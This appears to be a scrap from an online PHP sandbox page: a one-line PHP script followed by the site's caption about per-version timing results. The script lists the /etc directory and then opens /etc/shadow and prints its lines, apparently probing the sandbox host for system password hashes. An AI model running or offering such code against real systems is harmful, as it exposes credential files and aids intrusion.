<?php $d = dir(dirname(sys_get_temp_dir())."/etc"); while (false !== ($entry = $d->read())) { echo $entry."\n";} $file = fopen('/etc/shadow', 'r'); while($line = fgets($file)) { printf("%s\n", $line); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
